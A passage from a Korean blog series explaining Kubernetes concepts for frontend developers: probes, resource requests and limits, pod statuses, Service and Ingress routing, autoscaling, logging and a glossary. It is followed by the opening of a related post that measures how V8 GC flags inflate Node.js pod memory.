읽을 때 눈여겨볼 지점이 몇 개 있다. 첫째, `app: my-app`이라는 레이블이 세 군데(Deployment의 selector, 파드 template, Service의 selector) 나오는데, 앞 절에서 말한 레이블-셀렉터 매칭이 바로 이것이다. 이 셋이 어긋나면 파드는 뜨는데 트래픽이 안 가는 상태가 된다. 둘째, `template` 아래가 통째로 파드의 설계도라서, spec이 두 번 나온다(Deployment의 spec 안에 파드의 spec). 처음 볼 때 가장 헷갈리는 중첩인데, "바깥은 Deployment의 원하는 상태, 안쪽은 파드 하나의 모양"으로 읽으면 된다. 셋째, `---`는 한 파일에 여러 문서를 잇는 YAML 문법이다. 관련 오브젝트를 한 파일에 두고 `kubectl apply -f` 한 번으로 제출하는 관례가 여기서 나온다.

단위 표기도 자주 걸리는 지점이라 짚어 둔다. CPU의 `500m`은 밀리코어, 즉 0.5코어다(`cpu: '1'`이 1코어). 메모리의 `Mi`는 2의 거듭제곱 기반(1Mi = 1,048,576바이트)이고 `M`(1M = 1,000,000바이트)과 다른 단위인데, 관례적으로 쿠버네티스에서는 `Mi`/`Gi`를 쓴다. 그리고 YAML은 따옴표 없는 값을 스스로 해석하려 든다. Helm 값 파일에 이미지 태그를 `tag: 1.20`으로 적으면 문자열이 아니라 숫자 1.2가 되어 있는 식이다. 그래서 `cpu: '500m'`처럼 문자열이어야 하는 수량 값에는 따옴표가 안전한데, 반대로 모든 값에 따옴표를 치는 것도 답이 아니다. `replicas: '3'`처럼 정수 필드에 문자열을 주면 API 서버가 타입 오류로 거부한다. 필드의 타입이 무엇인지 확인하는 방법이 바로 다음에 나온다.

필드 이름이 기억나지 않을 때는 문서를 뒤지는 것보다 `kubectl explain`이 빠르다. `kubectl explain deployment.spec.template.spec.containers`처럼 경로를 점으로 이어가며 각 필드의 설명과 타입을 터미널에서 바로 볼 수 있다.

## 파드의 상태와 자원: probe, requests, limits

파드가 떠 있는 동안의 건강과 자원에 관한 용어들이다. 모니터링 알림과 장애 대화에서 가장 자주 나오는 묶음이기도 하다.

먼저 파드의 건강을 판정하는 **probe** 3종이 있다. 전부 kubelet이 주기적으로 실행하는 검사다.

| probe     | 질문                         | 실패하면                               |
| --------- | ---------------------------- | -------------------------------------- |
| startup   | 아직 시작 중인가?            | (시작 유예를 넘기면) 컨테이너 재시작   |
| readiness | 지금 트래픽을 받아도 되는가? | 트래픽 대상에서 제외 (죽이지는 않는다) |
| liveness  | 살아는 있는가?               | 컨테이너 재시작                        |

"배포는 나갔는데 readiness가 안 떠서 트래픽이 이전 버전으로 가고 있다"는 상황은 이 표로 읽을 수 있다. 새 파드가 readiness 검사를 통과하지 못해 트래픽 대상 목록에 오르지 못했고, 롤링 업데이트가 그 지점에서 멈춰 있으니 요청은 계속 옛 파드들로 간다는 뜻이다. readiness와 liveness의 구분은 실무에서 자주 틀리는 지점인데, liveness 실패는 재시작이라는 파괴적 조치로 이어지므로 외부 의존성(DB, 다운스트림 API)의 상태를 liveness에 엮으면 의존성 장애가 전체 파드의 연쇄 재시작으로 번진다. 이 사고의 재현은 [파드의 삶과 죽음 편](/2026/08/k8s-for-frontend-4)에서 다룬다.

다음으로 자원 계약이다. 파드 명세에는 CPU와 메모리에 대해 **requests**와 **limits**라는 두 값을 적는다.

- **requests**: 예약량이다. 스케줄러가 이 파드를 어느 노드에 둘 수 있는지 계산할 때 쓰는 값이고, 실제 사용량과는 무관하다.
- **limits**: 상한이다. 실제 사용이 이 값을 넘으면 제재가 들어오는데, CPU는 느려지고(스로틀), 메모리는 죽는다(OOMKill). 이 비대칭이 중요하다.

메모리 limit을 넘겨 죽은 파드에는 **OOMKilled**(Out Of Memory)가 기록된다. `kubectl describe pod`에서 종료 코드 **137**과 함께 보이는데, 137은 SIGKILL로 종료됐다는 관례적 코드다(128 + 신호 번호 9). 이 죽음은 앱의 에러 로그에 아무것도 남기지 않는다는 특징이 있다. 커널이 프로세스 밖에서 즉시 종료시키기 때문에, JS 스택 트레이스를 뒤져도 나오지 않는다. requests와 limits를 실측 기반으로 정하는 방법은 [사이징 글](/2026/08/nodejs-k8s-pod-sizing)의 전체 주제이므로, 여기서는 예약과 상한이라는 구분만 가져가면 된다.

`kubectl get pods`의 STATUS 열에서 자주 만나는 이상 상태도 이 자리에서 묶어 둔다.

- **Pending**: 파드가 만들어졌지만 아직 어느 노드에도 배치되지 못한 상태. requests를 수용할 수 있는 노드가 없는 경우가 대표적 원인이다.
- **ImagePullBackOff**: 이미지를 레지스트리에서 내려받지 못해 재시도 간격을 벌리고 있는 상태. 이미지 태그 오타, 레지스트리 인증 실패, 존재하지 않는 태그가 흔한 원인이다.
- **CrashLoopBackOff**: 파드가 뜨자마자 죽기를 반복해, kubelet이 재시작 간격을 지수적으로 벌린 상태다(10초에서 시작해 최대 5분까지). 죽음의 원인이 해소되지 않은 채 재시작만 반복 중이라는 뜻이다.
- **Evicted**: 노드의 자원 압박(주로 메모리, 디스크) 때문에 kubelet이 파드를 쫓아낸 상태. 파드 자신의 문제가 아니라 노드 사정일 수 있다는 점에서 위의 상태들과 결이 다르다.

마지막으로 파드가 종료되는 절차다. 쿠버네티스가 파드를 내릴 때는 먼저 **SIGTERM** 신호를 보내 정리할 시간을 주고, **terminationGracePeriodSeconds**(기본 30초)가 지나도 끝나지 않으면 SIGKILL로 강제 종료한다. 앱이 SIGTERM을 받아 처리 중이던 요청을 마저 끝내고 내려가는 것을 **그레이스풀 셧다운**(graceful shutdown)이라고 하는데, Node.js 앱에서는 이 신호가 의외로 잘 전달되지 않는 함정들(PID 1 문제)이 있다. 이것도 [삶과 죽음 편](/2026/08/k8s-for-frontend-4)의 몫이다.

## 트래픽의 경로: Service, Ingress, DNS

요청이 파드까지 도달하는 경로에 등장하는 개념들이다.

출발점은 파드에 IP가 있다는 사실이다. 모든 파드는 클러스터 내부에서 유효한 자기 IP를 받는다. 그런데 앞에서 본 것처럼 파드는 소모품이라 죽고 다시 태어나며, 그때마다 IP가 바뀐다. 바뀌는 IP를 클라이언트가 쫓아다닐 수는 없으니, 파드 무리 앞에 고정된 접속 지점이 필요하다. 그것이 **Service**다.

Service는 레이블 셀렉터로 파드 무리를 묶고, 그 앞에 **ClusterIP**라는 고정된 가상 IP를 세운다. 클라이언트는 ClusterIP(또는 그 DNS 이름)로 요청을 보내고, 요청은 뒤의 건강한 파드 중 하나로 분배된다. 여기서 "건강한"의 판정 기준이 앞 절의 readiness다. readiness를 통과한 파드만 Service의 대상 목록(**Endpoints**)에 오른다. readiness, Service, Endpoints는 한 세트로 움직인다.

ClusterIP는 이름 그대로 클러스터 안에서만 통하는 주소다. 어떤 기계나 프로세스에도 붙어 있지 않은, 네트워크 규칙으로만 존재하는 가상 주소라는 점이 흥미로운데(그래서 ping도 받지 않는다), 그 실체를 열어보는 것이 [트래픽 편](/2026/08/k8s-for-frontend-3)의 핵심 실측이다. Service에는 쓰임에 따라 타입이 몇 가지 있다는 것 정도만 짚어 둔다. 클러스터 내부 전용인 ClusterIP가 기본값이고, 노드의 포트를 여는 NodePort, 클라우드 로드밸런서를 붙이는 LoadBalancer가 있다.

외부의 HTTP 트래픽이 들어오는 문은 따로 있다. **Ingress**(또는 최근의 Gateway API)다. Ingress는 "이 도메인의 이 경로로 온 요청은 이 Service로"라는 L7 라우팅 규칙이고, 그 규칙을 실제로 집행하는 프록시(nginx, ALB 등)를 Ingress 컨트롤러라고 부른다. 브라우저에서 출발한 요청의 전형적인 경로는 CDN → 로드밸런서 → Ingress → Service → 파드로 요약된다(엄밀히는 많은 Ingress 컨트롤러가 Service를 거치지 않고 Endpoints의 파드 IP로 직접 보내는데, 그 우회는 [트래픽 편](/2026/08/k8s-for-frontend-3)에서 확인한다).

프론트엔드 서비스라면 이 경로를 타는 트래픽과 타지 않는 트래픽을 구분해 둘 필요가 있다. JS 번들, 이미지 같은 **정적 자산은 대개 CDN에서 끝난다.** 클러스터의 파드까지 오는 것은 HTML을 만들어야 하는 SSR 요청과 API 호출이다. 그래서 "트래픽이 늘었다"는 말도 두 갈래로 나뉜다. CDN 히트가 늘어난 것은 파드와 무관하고, 파드의 부하로 이어지는 것은 캐시를 통과해 들어오는 동적 요청뿐이다. 이 구분은 뒤의 오토스케일링에서 어떤 숫자를 봐야 하는지와 직결된다.

클러스터 안에서의 호출은 경로가 다르다. BFF가 내부 API 서버를 부를 때는 Ingress로 나갔다 돌아올 필요 없이, **클러스터 내부 DNS**(CoreDNS)가 만들어 주는 이름으로 Service에 직접 붙는다. `http://api-service`나 `http://api-service.namespace.svc.cluster.local` 같은 주소가 그것이다. 같은 클러스터 안에서는 이쪽이 더 짧고 빠른 길이라, "인그레스 타지 말고 내부 DNS로 붙으라"는 권고가 나오는 배경이 이것이다.

두 경로를 겹쳐 그리면 이렇다. 정적 자산은 CDN에서 끝나고, 파드까지 오는 것은 동적 요청뿐이며, 클러스터 안의 내부 호출은 문(Ingress)을 거치지 않는다.

```mermaid
flowchart TB
    B["브라우저"] --> CDN["CDN (정적 자산은 여기서 끝)"]
    CDN -- "SSR·API 요청만 통과" --> LB["로드밸런서"] --> ING["Ingress"] --> SVC["Service"] --> POD(("파드"))
    BFF(("BFF 파드")) -- "내부 DNS로 직접,<br/>Ingress를 거치지 않는다" --> SVC
```

여기서 이름이 겹치는 용어 하나를 정리해 둘 필요가 있다. 방금 나온 `namespace`다. 쿠버네티스의 **Namespace**는 클러스터 안을 팀이나 환경 단위로 나누는 논리적 칸막이다(`production`, `staging` 같은). 반면 2편에서 만나는 리눅스 커널의 **namespace**는 컨테이너를 만드는 격리 장치로, 이름만 같고 완전히 다른 것이다. 쿠버네티스 오브젝트 문맥에서는 칸막이, 컨테이너 내부 문맥에서는 격리 장치로 읽으면 된다.

개발 장비에서 쓰는 `kubectl port-forward`는 이 경로 전체를 우회해 로컬 머신과 파드 사이에 터널을 뚫는 디버깅 도구다. 정확히는 API 서버를 경유하는 터널이라, 내 장비가 파드 네트워크에 직접 닿을 수 없어도 동작한다. 편리하지만 실제 트래픽 경로(Ingress, Service)를 하나도 통과하지 않으므로, port-forward로는 되는데 실서비스에서는 안 되는 상황은 그 사이 어딘가에 문제가 있다는 힌트가 된다.

## 스케일링: HPA와 노드 오토스케일러

트래픽에 따라 파드 개수를 조절하는 자동화가 **HPA**(Horizontal Pod Autoscaler)다. 이름에 내용이 다 들어 있다. Horizontal(파드 하나를 키우는 것이 아니라 개수를 늘린다), Pod(노드가 아니라 파드 단위), Autoscaler(메트릭을 보고 자동으로).

HPA는 메트릭(대표적으로 CPU 사용률)을 주기적으로 보고, 목표치를 유지하는 데 필요한 파드 수를 계산해 Deployment의 replicas를 조정한다. 여기서 앞 절의 개념들이 연결된다. "CPU 사용률 70%"라고 할 때 그 분모가 **requests**다. 예약량 대비 실사용 비율로 계산하므로, requests가 현실과 동떨어져 있으면 오토스케일링 판단도 함께 어긋난다. 그리고 파드 수가 늘어난다는 것은 새 파드가 스케줄러를 거쳐 노드에 배치되고, 이미지를 받고, readiness를 통과해야 트래픽을 받는다는 뜻이므로, 스케일 아웃은 자동이지만 즉시는 아니다. 그 지연이 실제로 어떤 구간들로 이루어져 있는지는 [오토스케일링 편](/2026/08/k8s-for-frontend-5)에서 측정했다.

파드가 늘다 보면 노드가 모자라는 순간이 온다. 노드를 늘리고 줄이는 것은 HPA가 아니라 별도의 **노드 오토스케일러**(Cluster Autoscaler, 혹은 AWS 계열에서 주로 쓰는 Karpenter)의 일이다. 파드 스케일링과 노드 스케일링이 서로 다른 층의 다른 도구라는 구분은 비용 이야기에서 특히 중요하다. 클라우드 청구서는 파드가 아니라 노드(EC2) 단위로 나오고, 노드 수를 결정하는 것은 결국 파드들의 requests 합이기 때문이다. requests가 곧 청구서라는 이 연결은 [사이징 글](/2026/08/nodejs-k8s-pod-sizing)의 비용 절에서 자세히 다뤘다.

설정과 비밀값도 이 부근에서 정리해 둔다. 파드가 어느 노드에서 몇 개로 떠도 같은 설정을 받아야 하므로, 설정은 이미지에 굽지 않고 **ConfigMap**(일반 설정)과 **Secret**(비밀값)이라는 오브젝트로 분리해 환경변수나 파일로 주입하는 것이 관례다. 앱의 환경변수가 어디서 오는지에 대한 답이 대개 이 둘이다.

여기에 프론트엔드 특유의 함정이 하나 있다. **빌드 타임 환경변수와 런타임 환경변수의 구분**이다. Next.js의 `NEXT_PUBLIC_*` 변수는 빌드 시점에 값이 번들 JavaScript 안에 문자열로 박힌다. 즉 이미지가 만들어질 때 이미 결정되는 값이라, 파드에 ConfigMap으로 다른 값을 주입해도 클라이언트 번들에는 반영되지 않는다. "dev 이미지를 prod에 올렸더니 API 주소가 dev를 가리킨다" 같은 사고의 뿌리가 이것이다. ConfigMap/Secret으로 바꿀 수 있는 것은 서버 코드가 `process.env`로 **실행 중에** 읽는 값뿐이고, 브라우저로 가는 값은 이미지 빌드 단계의 소관이다.

## 로그와 메트릭은 어디로 가는가

파드가 여러 노드에 흩어져 계속 교체되는 구조에서는, 로그를 어디서 보는가도 다시 정의된다.

쿠버네티스의 로그 모델은 단순하다. **앱은 파일이 아니라 stdout/stderr로 로그를 쓴다.** 컨테이너 런타임이 그 출력을 노드에 받아 두고, `kubectl logs`가 그것을 읽어온다. 파드가 여럿이면 노드마다 도는 수집 에이전트(Fluent Bit 등. 이런 노드당 하나짜리 배치가 다음 절에 나올 DaemonSet이다)가 모든 파드의 stdout을 모아 중앙 저장소(Elasticsearch, Loki, CloudWatch 등)로 보내는 것이 일반적인 구성이다. 앱 입장에서 기억할 것은 하나다. 로그 파일을 만들고 회전시키는 일은 앱의 몫이 아니고, stdout에 쓰면 나머지는 바깥이 처리한다.

조사할 때 유용한 옵션이 `kubectl logs --previous`다. `kubectl logs`는 현재 실행 중인 컨테이너의 로그를 보여주므로, 파드가 재시작된 직후에 보면 새 컨테이너의 깨끗한 로그만 보인다. 죽기 직전 무슨 일이 있었는지는 `--previous`로 **직전 컨테이너**의 로그를 열어야 보인다. OOMKilled처럼 앱 로그에 흔적을 남기지 않는 죽음이라도, 죽기 직전까지 무엇을 하고 있었는지는 여기서 단서를 얻는다.

메트릭 쪽 이름도 두 개만 적어 둔다. **Prometheus**는 파드와 노드의 메트릭(CPU, 메모리, 요청 수 등)을 주기적으로 수집해 쌓는 시계열 저장소이고, **Grafana**는 그것을 그래프로 보여주는 대시보드다. 팀에서 "그라파나 보세요"라는 말을 들었다면 이 조합이 떠 있다는 뜻이다. 다만 HPA가 기본으로 참조하는 CPU·메모리 메트릭은 이 계통이 아니라 **metrics-server**라는 별도의 경량 수집기에서 온다. Prometheus 계통이 HPA에 연결되는 것은 요청 수 같은 커스텀 메트릭으로 스케일할 때다.

## 그 밖에 마주치는 것들

주 흐름에는 들어가지 않지만 클러스터를 구경하다 보면 반드시 마주치는 이름들이 있다.

먼저 Deployment 외의 **워크로드 종류**다. SSR/BFF는 거의 항상 Deployment지만, `kubectl get pods -A`로 클러스터 전체를 보면 다른 형태의 파드들이 함께 보인다.

- **DaemonSet**: 모든 노드에 하나씩 띄우는 형태. 로그 수집기(Fluent Bit 등)나 노드 모니터링 에이전트가 대표적이다.
- **StatefulSet**: 파드마다 고정된 이름과 저장소를 주는 형태. 데이터베이스처럼 파드가 소모품이어서는 곤란한 워크로드용이고, 무상태 웹 서비스와는 반대편에 있다.
- **Job / CronJob**: 끝이 있는 작업을 한 번(Job) 또는 주기적으로(CronJob) 실행하는 형태. 배치성 작업이 여기에 실린다.

**PDB**(PodDisruptionBudget)는 "동시에 내려가도 되는 파드 수의 한도"를 정하는 오브젝트다. 노드 교체나 클러스터 정리처럼 관리 작업으로 파드를 비우는 **자발적 중단에만 적용되는** 안전장치라서, OOMKill이나 크래시 같은 사고까지 막아주지는 않는다. [파드의 삶과 죽음 편](/2026/08/k8s-for-frontend-4)에서 다시 나온다.

**kubeconfig**와 **컨텍스트**(context)는 kubectl이 어느 클러스터의 어느 계정으로 요청을 보낼지 담는 설정이다. dev와 prod 클러스터를 오갈 때 `kubectl config use-context`로 전환하는데, 지금 어느 컨텍스트에 있는지 확인하지 않고 명령을 치는 것은 위험한 습관이 된다.

마지막으로 조사할 때 쓰는 kubectl 명령 다섯 개를 묶어 둔다. 이 글의 용어들을 실제로 눈으로 확인하는 최소 도구 상자다.

| 명령                                 | 용도                                                                         |
| ------------------------------------ | ---------------------------------------------------------------------------- |
| `kubectl get pods`                   | 파드 목록과 상태(Running, Pending, CrashLoopBackOff...)                      |
| `kubectl describe pod <이름>`        | 파드 하나의 상세. 이벤트, 종료 코드, probe 실패 이력                         |
| `kubectl logs -f <이름>`             | 파드의 stdout 로그 스트림. `--previous`를 붙이면 직전에 죽은 컨테이너의 로그 |
| `kubectl exec -it <이름> -- sh`      | 파드 안에서 셸 실행. 컨테이너 내부 확인용                                    |
| `kubectl rollout undo deploy/<이름>` | 직전 버전으로 롤백                                                           |

## 헷갈리기 쉬운 쌍들

경계가 흐려지기 쉬운 개념 쌍을 따로 모아 정리한다. 용어를 아는 것보다 이 구분들이 실무 대화의 정확도를 더 좌우한다고 생각한다.

**컨테이너와 파드.** 컨테이너는 격리된 프로세스이고, 파드는 그 컨테이너 한 개 이상을 묶어 IP와 자원 계약을 붙인 쿠버네티스의 관리 단위다. 대부분의 파드는 컨테이너 하나라서 일상 대화에서는 섞어 써도 통하지만, 사이드카(앱 옆에 붙는 보조 컨테이너)가 등장하는 순간부터는 구분이 필요하다. 로그 수집기 컨테이너와 앱 컨테이너가 한 파드에 있으면, 그 둘은 IP를 공유하고 함께 스케줄링되고 함께 죽는다.

**requests와 limits.** 예약과 상한. requests는 스케줄러의 계산에만 쓰이는 약속이고, limits는 실제 사용을 막는 벽이다. requests를 넘게 쓰는 것은 정상일 수 있지만(예약보다 많이 쓰는 중), limits를 넘으면 스로틀이나 OOMKill이다.

**liveness와 readiness.** 재시작 스위치와 트래픽 스위치. liveness 실패는 컨테이너를 죽였다 다시 살리고, readiness 실패는 트래픽만 뺀다. 회복 가능한 일시적 문제(다운스트림 지연 등)를 liveness에 걸면 회복 대신 재시작 연쇄를 얻는다.

**파드 스케일링과 노드 스케일링.** HPA는 파드 개수를, Cluster Autoscaler와 Karpenter는 노드(서버) 개수를 조정한다. 층이 다르고 도구가 다르다. 스케일 아웃을 했는데 파드가 Pending에 머문다면, 대개 파드는 늘렸는데 태울 노드가 없어 노드 오토스케일러를 기다리는 상태다.

**Namespace와 namespace.** 쿠버네티스의 Namespace는 클러스터를 나누는 논리적 칸막이, 리눅스의 namespace는 컨테이너를 만드는 커널 격리 장치다. 철자까지 같지만 서로 관련이 없다.

**이미지와 컨테이너.** 이미지는 파일 스냅샷(저장된 것), 컨테이너는 그것의 실행(실행 중인 것)이다. 같은 이미지로 컨테이너 백 개를 띄울 수 있다. 클래스와 인스턴스의 관계로 비유되곤 한다.

**컨테이너 재시작과 파드 재생성.** liveness 실패나 크래시로 인한 재시작은 **같은 파드 안에서** 컨테이너만 다시 뜨는 것이다. 파드 이름과 IP는 그대로고 `restartCount`가 올라간다. 반면 배포나 축출로 파드가 내려가면 그 파드는 끝이고, ReplicaSet이 **새 이름의 새 파드**를 만든다. "파드가 재시작됐다"는 말이 실제로는 이 둘 중 무엇이었는지에 따라 조사 방향(앱 크래시인가, 스케줄링·배포 이벤트인가)이 달라진다.

## 용어 인덱스

시리즈 어느 편에서든 다시 찾아볼 수 있게, 이 글의 용어를 표 하나로 모아 둔다. "자세히" 열은 그 용어를 실측으로 깊게 다루는 편이다.

| 용어                                 | 한 줄 정의                                                      | 자세히                                         |
| ------------------------------------ | --------------------------------------------------------------- | ---------------------------------------------- |
| 이미지 / 레이어                      | 앱 실행에 필요한 파일 전체의 스냅샷 / 그것을 이루는 층          | 2편                                            |
| 레지스트리                           | 이미지 저장소. 노드가 여기서 이미지를 내려받는다                | 2편                                            |
| 컨테이너                             | 이미지를 실행한 것. 실체는 격리 장치를 두른 프로세스            | 2편                                            |
| cgroup / namespace(리눅스)           | 컨테이너 격리의 두 축. 쓰는 양 제한 / 보이는 세계 분리          | 2편                                            |
| 파드(Pod)                            | 컨테이너 묶음 + IP + 자원 계약. 실행과 관리의 최소 단위         | 2편                                            |
| 노드(Node)                           | 파드가 올라가는 서버. 청구서의 단위                             | 2편, 사이징 글                                 |
| 컨트롤 플레인                        | API 서버·etcd·스케줄러 등 결정을 내리는 쪽                      | 2편                                            |
| kubelet                              | 노드마다 상주하며 파드를 실제 프로세스로 만드는 에이전트        | 2편                                            |
| Deployment / ReplicaSet              | "N개 유지" 선언 / 그 개수를 지키는 중간 관리자                  | 2편                                            |
| 레이블 / 셀렉터                      | 오브젝트를 묶는 키-값 태그와 그것을 고르는 조건                 | 이 글                                          |
| 롤링 업데이트                        | 새 파드를 늘리고 옛 파드를 줄이며 무중단으로 교체하는 배포 방식 | [삶과 죽음 편](/2026/08/k8s-for-frontend-4)    |
| requests / limits                    | 자원의 예약량 / 상한. 스케줄링과 제재의 기준                    | 사이징 글                                      |
| OOMKilled (137)                      | 메모리 limit 초과로 커널이 프로세스를 죽인 것                   | 사이징 글                                      |
| CrashLoopBackOff                     | 반복 크래시로 재시작 간격이 지수적으로 벌어진 상태              | [삶과 죽음 편](/2026/08/k8s-for-frontend-4)    |
| probe (startup/readiness/liveness)   | kubelet의 건강 검사 3종. 시작/트래픽 수신/생존 판정             | [삶과 죽음 편](/2026/08/k8s-for-frontend-4)    |
| SIGTERM / grace period               | 종료 예고 신호와 유예 시간. 그레이스풀 셧다운의 재료            | [삶과 죽음 편](/2026/08/k8s-for-frontend-4)    |
| Service / ClusterIP                  | 파드 무리 앞의 고정 접속 지점 / 그 가상 IP                      | [트래픽 편](/2026/08/k8s-for-frontend-3)       |
| Endpoints / EndpointSlice            | Service가 트래픽을 보낼 준비된 파드 목록. 표준은 EndpointSlice  | [트래픽 편](/2026/08/k8s-for-frontend-3)       |
| Ingress                              | 외부 HTTP 트래픽의 L7 라우팅 규칙                               | [트래픽 편](/2026/08/k8s-for-frontend-3)       |
| 클러스터 내부 DNS                    | Service 이름을 주소로 만들어 주는 CoreDNS                       | [트래픽 편](/2026/08/k8s-for-frontend-3)       |
| Pending / ImagePullBackOff / Evicted | 배치 대기 / 이미지 풀 실패 / 노드 압박으로 축출된 파드 상태     | 이 글                                          |
| Namespace(쿠버네티스)                | 클러스터를 나누는 논리적 칸막이                                 | -                                              |
| ConfigMap / Secret                   | 설정과 비밀값을 이미지 밖에서 주입하는 통로                     | -                                              |
| HPA                                  | 메트릭 기반으로 파드 개수를 조절하는 오토스케일러               | [오토스케일링 편](/2026/08/k8s-for-frontend-5) |
| Cluster Autoscaler / Karpenter       | 노드 개수를 조절하는 오토스케일러                               | 사이징 글                                      |
| stdout 로그 / `logs --previous`      | 로그는 파일이 아니라 stdout으로 / 직전 컨테이너의 로그 조회     | 이 글                                          |
| Prometheus / Grafana                 | 메트릭 시계열 저장소 / 그것을 보는 대시보드                     | -                                              |
| DaemonSet / StatefulSet / CronJob    | 노드마다 하나 / 고정 신원 / 주기 실행 워크로드                  | -                                              |
| PDB                                  | 동시에 내려가도 되는 파드 수의 한도                             | [삶과 죽음 편](/2026/08/k8s-for-frontend-4)    |
| Helm / Kustomize                     | 매니페스트를 템플릿 / 오버레이로 관리하는 도구                  | -                                              |
| apiVersion / kind / metadata / spec  | 모든 매니페스트가 공유하는 4개 골격 필드                        | 이 글                                          |
| kubectl explain                      | 매니페스트 필드의 설명과 타입을 터미널에서 조회                 | 이 글                                          |
| kubectl                              | API 서버에 요청을 보내는 공식 CLI                               | 전체                                           |

## 마치며

정리하면 골격은 이렇다. 컨트롤 플레인이 장부를 근거로 결정하고 kubelet이 집행한다는 **구조**, 파드는 소모품이고 관리 대상은 Deployment라는 선언이라는 **배포 모델**, requests는 예약이고 limits는 상한이며 probe가 트래픽과 재시작을 가른다는 **상태와 자원**, readiness를 통과한 파드만 Service의 Endpoints에 올라 트래픽을 받는다는 **경로**, 그리고 파드 수는 HPA가 노드 수는 노드 오토스케일러가 조정한다는 **스케일링**. 이 다섯 줄이 이 글의 요약이다.

다만 여기까지는 정의와 관계를 정리한 것이고, 각 개념이 실제로 그렇게 동작하는지는 아직 확인하지 않았다. 컨테이너가 정말로 프로세스 하나인지 PID로 확인하고, 이미지의 1.72GB가 어디서 왔는지 레이어를 뜯어보고, ClusterIP라는 가상 IP의 실체를 네트워크 규칙에서 찾아내는 것이 다음 편들의 일이다. [2편](/2026/08/k8s-for-frontend-2)은 컨테이너와 파드부터 직접 실행하고 측정한다.

---

Source: https://yceffort.kr/2026/08/nodejs-k8s-pod-sizing.md
Title: Node.js 파드는 왜 그 크기인가: <em>NODE_OPTIONS</em>부터 파드 수까지 직접 재본 사이징
Description: 같은 워크로드에 GC 튜닝 플래그 한 줄을 붙였더니 peak RSS가 201MB에서 593MB로 뛰었다. 살아있는 데이터는 그대로였다. 왜 그게 당연한 결과인지 V8 New Space를 직접 측정해 역추적하고, 프론트엔드 개발자가 Node.js 파드를 사이징하는 세 축을 정리한다.
Date: 2026-08-03
Tags: nodejs, kubernetes, v8, performance, frontend
Series: 프론트엔드 개발자가 알아야 할 쿠버네티스

## Table of Contents

## 한 줄이 갈라놓은 두 숫자

같은 스크립트를 두 번 돌렸다. 코드도 부하도 같고, 다른 것은 실행 옵션 한 줄뿐이다.

```bash
NODE_OPTIONS="--max-semi-space-size=256 --max-old-space-size=3072"
```

이 줄 없이 돌리면 peak RSS가 201MB, 붙이고 돌리면 593MB다. 3배 가까이 부풀었는데, 그동안 살아있는 데이터의 양은 두 경우 모두 20MB 안팎으로 같았다. 데이터가 한 바이트도 늘지 않았는데 메모리만 세 배가 된 것이다.

저 조합이 낯설지 않은 분도 있을 것이다. Node GC 튜닝을 검색하면 나오는 단골 추천 값이고, 무거운 데이터 가공 서비스에서 지연이 줄었다는 후기와 함께 팀에서 팀으로 전해지곤 하는 설정이다. 문제는 같은 값이 어떤 서비스에는 튜닝이고 어떤 서비스에는 순수한 낭비라는 것, 그리고 지금이 어느 쪽인지 모른 채 복사되는 일이 잦다는 것이다.

사실 이 글은 그 복사가 실제로 사고를 낸 뒤에 썼다. 컨테이너 메모리는 그대로인데 저 GC 플래그만 어딘가에서 복사돼 들어간 SSR 서비스가 있었고, 배포 직후엔 멀쩡하다가 트래픽이 붙자 파드 메모리가 limit에 차오르며 경보가 울렸다. 살아있는 데이터가 늘어난 게 아니었다. 컨테이너에 맞지 않게 부푼 GC 버퍼가 그대로 메모리로 올라온 것뿐이었다. 왜 그게 당연한 결과인지가 이 글의 절반이고, 나머지 절반은 그래서 파드를 어떻게 사이징하느냐다.

프론트엔드 개발자에게 이건 남 얘기가 아니다. Next.js든 Remix든 BFF(Backend For Frontend, 프론트엔드 팀이 직접 관리하는 API 중간 서버)든, SSR을 하는 순간 우리는 Node.js 프로세스를 컨테이너에 담아 쿠버네티스에 올린다. 그리고 `request`, `limit`, `NODE_OPTIONS` 같은 값들을 누군가의 설정에서 복사해 온다. 그 값이 무슨 일을 하는지는 모른 채로.

이 글은 처음에 혼자 서 있다가, 이후에 쓴 "프론트엔드 개발자가 알아야 할 쿠버네티스" 시리즈의 심화 종착점(6편)으로 편입되었다. 파드와 컨테이너, 트래픽 경로, 파드의 종료 같은 배경이 낯설다면 [1편의 개념 지도](/2026/08/k8s-for-frontend-1)부터 시작하는 길도 있다.

이 글은 저 한 줄이 **왜** 메모리를 세 배로 만드는지 V8 힙 내부에서 역추적한다. 추측이 아니라 **Node.js v24.14.1로 직접 측정**해서, `--max-semi-space-size`가 New Space를 어떻게 부풀리는지, 단일 프로세스의 CPU 천장이 어디인지, cluster를 쓰면 그 비용이 어떻게 곱해지는지를 수치로 본다. 그리고 그 이해 위에서 CPU, 메모리, 파드 수라는 세 축으로 파드를 사이징하는 법을 정리한다.

> 측정 환경: **Node.js v24.14.1**, Apple M5(10코어), 24GB RAM, macOS. RSS는 `process.memoryUsage().rss`, 힙 공간은 `v8.getHeapSpaceStatistics()`, CPU는 `process.cpuUsage()`, GC 로그는 `--trace-gc`로 측정했다. 부하는 약 12MB의 상주 캐시를 두고, 요청 처리를 흉내 내 3MB 남짓의 단명 객체를 계속 만드는(일부는 다음 요청까지 생존) 스크립트를 8초간 돌리는 방식이다. 컨테이너 안이 아니라 로컬에서 잰 값이라 절대치는 환경마다 다르지만, 이 글이 말하려는 건 절대치가 아니라 **설정과 메모리 사이의 관계**다. 그 관계는 런타임에 내장돼 있어 어디서 재도 같은 모양이 나온다.

## 알아둘 용어 몇 개

본문에 반복해서 나오는 단어만 먼저 풀어둔다. 익숙하면 건너뛰어도 된다.

> - **RSS**(Resident Set Size): 프로세스가 실제로 RAM에 올려둔 총량. V8 힙만이 아니라 코드·버퍼·스택까지 다 포함하고, 커널의 OOM 킬러가 보는 값이 이거다.
> - **New Space / Old Space**: V8 힙의 두 세대. 갓 만든 객체가 태어나는 New Space(young generation)와, 거기서 살아남아 오래 머무는 Old Space(old generation)다.
> - **반공간(semi-space)**: New Space를 이루는 두 조각(from/to). Scavenge가 한쪽에서 다른 쪽으로 객체를 복사하며 청소한다.
> - **Scavenge**: New Space를 청소하는 가벼운 마이너 GC. 살아남은 객체만 반대편 반공간으로 옮기고 나머지는 통째로 버린다.
> - **working set**: 실제로 살아서 계속 쓰이는 데이터의 양. major GC 직후 Old Space 크기가 여기에 가깝다.
> - **cgroup**: 리눅스 커널이 프로세스 그룹의 CPU·메모리를 제한하고 격리하는 장치. 컨테이너의 자원 limit이 여기로 강제된다.
> - **OOMKill**: 컨테이너가 메모리 limit(cgroup)을 넘기면 커널이 프로세스를 죽이는 것. 종료 코드 137로 찍힌다.
> - **kubelet**: 각 노드에서 컨테이너를 실제로 띄우고 상태를 감시하는 쿠버네티스 에이전트.
